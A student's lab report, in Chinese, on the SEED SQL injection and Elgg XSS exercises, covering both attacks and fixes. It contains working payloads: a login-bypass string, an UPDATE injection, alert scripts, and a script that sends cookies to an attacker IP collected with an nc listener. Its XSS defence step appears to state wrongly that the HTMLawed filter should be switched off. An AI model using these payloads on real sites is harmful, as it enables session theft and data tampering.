[20212901 薛德凡2021-2022-2 《网络攻防实践》第十次作业 ]
[20212901 薛德凡2021-2022-2 《网络攻防实践》第十次作业 ]
一、实践内容
-
一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
- 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
- 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
- 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
- SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
- 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
- 弹窗显示cookie信息:将cookie信息显示。
- 窃取受害者的cookies:将cookie发送给攻击者。
- 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
- 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
- 编写XSS蠕虫。
- 对抗XSS攻击。
二、实验相关知识
1、SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以市面的防火墙都不会对SQL注入发出警报,如果管理员没查看ⅡS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况,需要构造巧妙的SQL语句,从而成功获取想要的数据。
sql注入攻击防范的方法
1、定制黑白名单:将常用请求定制为白名单,一些攻击频繁的攻击限制其为黑名单,可以通过服务器安全狗进行实现,服务器安全狗可以针对攻击类型把对方ip进行封禁处理,也可也对常用ip进行加白名单。
2、限制查询长度和类型:由于SQL注入过程中需要构造较长的SQL语句,同时有些不常用的查询类型我们可以进行限制,凡是不符合该类请求的都归结于非法请求予以限制。
3、数据库用户的权限配置:根据程序要求为特定的表设置特定的权限,如:某段程序对某表只需具备select权限即可,这样即使程序存在问题,恶意用户也无法对表进行update或insert等写入操作。
4、限制目录权限:务器管理员还应在IIS中为每个网站设置好执行权限,WEB目录应至少遵循“可写目录不可执行,可执行目录不可写”的原则,在次基础上,对各目录进行必要的权限细化。
2、XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
与钓鱼攻击相比,XSS攻击所带来的危害更大,通常具有如下特点:
①由于XSS攻击在用户当前使用的应用程序中执行,用户将会看到与其有关的个性化信息,如账户信息或“欢迎回来”消息,克隆的Web站点不会显示个性化信息。
②通常,在钓鱼攻击中使用的克隆Web站点一经发现,就会立即被关闭。
③许多浏览器与安全防护软件产品都内置钓鱼攻击过滤器,可阻止用户访问恶意的克隆站点。
④如果客户访问一个克隆的Web网银站点,银行一般不承担责任。但是,如果攻击者通过银行应用程序中的XSS漏洞攻击了银行客户,则银行将不能简单地推卸责任。
三、实验内容
实践1、SEED SQL注入攻击与防御实验
1.1、熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
(1)使用sudo service apache2 status
查看apache服务器运行状态,可以发现当前apache服务器正在运行中
(2)使用命令mysql -u root -p
登录数据库,对应的密码为seedubuntu
(3)使用命令show databases;
,查看当前包含的mysql数据库,此处不要忘记有;
!!!!!
(4)使用命令use Users;
代表目前我们要使用users数据库,并使用命令show tables;
查看当前数据库中的所有表
(5)使用命令select * from credential;
查看credential表中的内容
(6)使用命令select * from credential where Name = 'Ryan';
可以查看表中name为Ryan的内容
1.2、对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
(1)在firefox中输入网址www.SEEDLabSQLInjection.com,进入本实践所需的网站
(2)右键选取View Page Source
查看网站的源代码
(3)分析网页源代码找到unsafe_home.php
(5)在浏览器中输入/var/www/SQLInjection/unsafe_home.php
查看unsafe_home.php的相关代码
(6)分析源代码发现其中的关键部分,可以发现该数据库对于普通用户和Admin用户的处理方式是不同的。
(7)构建用户名为Admin'#
,“#”表示注释,后面的内容被注释掉,那么代码就不会对password进行检查
(8)利用Admin'#作为用户名,密码为空值,成功登录。
1.3、对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
(1)分析网页源代码可以发现,该网站将传入的参数传输到unsafe_edit_backend
(2)在firefox中输入命令/var/www/SQLInjection/unsafe_edit_backend.php
查看其中代码
(3)根据该处代码可以构造相应的UPdate,SQL注入攻击。当nickname输入为salary=’20212901‘ where Name=’RYAN‘; #
时就能够改变其中的sql语句
(4)在nickname中输入salary=’20212901‘ where Name=’RYAN‘; #
(5)初始Ryan的Salary和UPDATE SQL注入攻击后的Ryan的Salary如下图所示,攻击成功。
1.4、修复上述SQL注入攻击漏洞
(1)将unsafe_home.php
中sql部分的代码进行修改为
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?"); $sql->bind_param("ss", $input_uname, $hashed_pwd);
(2)将unsafe_edit_backend.php
中的sql语句修改为
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;"); $sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
实践2、SEED XSS跨站脚本攻击实验(Elgg)
2.1、发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
(1)在firefox中登录网站www.xsslabelgg.com
(2)使用Alice的账号进行登录。账号:Alice,密码:seedalice。登录后点击头像,选择Edit profile
(3)在Brief description中输入<script> alert('xss');</script>
,点击save,出现xxs警告
2.2、弹窗显示cookie信息:将cookie信息显示
(1)在个人主页的Brief description中输入提前设计好的攻击代码<script> alert(document.cookie);</script>
(2)点击save之后,出现如下图所示的cookie,显示cookie信息成功
2.3、窃取受害者的cookies
(1)首先查看目前seed的ip地址,目前ip地址为192.168.200.9
(2)在个人主页的Brief description中输入提前设计好的攻击代码<script>document.write('<img src=http://192.168.200.9:5555?c='+escape(document.cookie) + ' >');</script>
(3)切换boby的账号
(4)在member中访问alice
(5)在终端输入nc -l 5555 -v
监听5555端口,即可得到boby的cookie
2.4、成为受害者的朋友
(1)在boby的主页中找到Alice,在能add friends处,查看网页源代码
(2)可以发现点击add friend后,消息发往了"http://www.xsslabelgg.com/action/friends/add?friend=44&__elgg_ts=1652903845&__elgg_token=tDAb3RE2piylkvrawdUsPQ
(3)根据上一步骤中参数friend
代表好友的id,参数__elgg_ts
代表时间戳,参数__elgg_token
代表token,构建的XXS攻击代码如下
(4)在Alice的About me界面中输入上面的代码
(5)切换到boby的账号可以发现Alice和Boby已经是好友了,攻击成功
2.5、修改受害者的信息
(1)登录Alice账号,在Edit profile中选择查看网页源代码
(2)在About me中发现,在修改About me的过程中,会与http://www.xsslabelgg.com/action/profile/edit产生信息交互
(3)还可以发现其中包括__elgg_token
、__elgg_ts
、name
和description
等信息
(4)因此根据上述信息构造攻击代码:
(5)将该攻击代码写入Alice的About me中,点击保存
(6)切换到Boby账户后访问Alice的主页,在返回自己的主页可以发现About me中显示被xxs攻击成功
2.6、编写XSS蠕虫
(1)利用2.5中使用的过的攻击代码,将其修改为
(2)将该代码置入Alice的About me中,点击保存
(3)在Boby账户中访问Alice的主页,发现被感染,并且About me内容发生变化
(4)切换Charlie账户访问Alice主页,同样被感染,About me内容被修改
2.7、对抗XSS攻击
(1)登录Admin账户
(2)选择Administration中的Plugins
(3)关闭其中的HTMLawed功能
(4)再次换回Alice账号,可以发现其中的About me内容失效,无法进行上述攻击。
四、学习中遇到的问题及解决
问题1:使用show databases
查看当前包含的mysql数据库时,无反应
问题1解决方案:命令中漏了一个;添加;
后解决问题。
问题2:在进行xxs攻击时,修改了Alice的About me后,Boby的About me没有变化
问题2解决方案:在Boby账户中需要再次访问Alice,才能够有效发生攻击。
五、实践总结
本次实验时间了sql数据库攻击,本科期间学习过数据库sql语言,对于其中的原理包括select、update等等比较熟悉,前半部分的实验比较轻松。后半部分的实验比较困难,特别是构造JS代码部分,参考了同学很大一部分。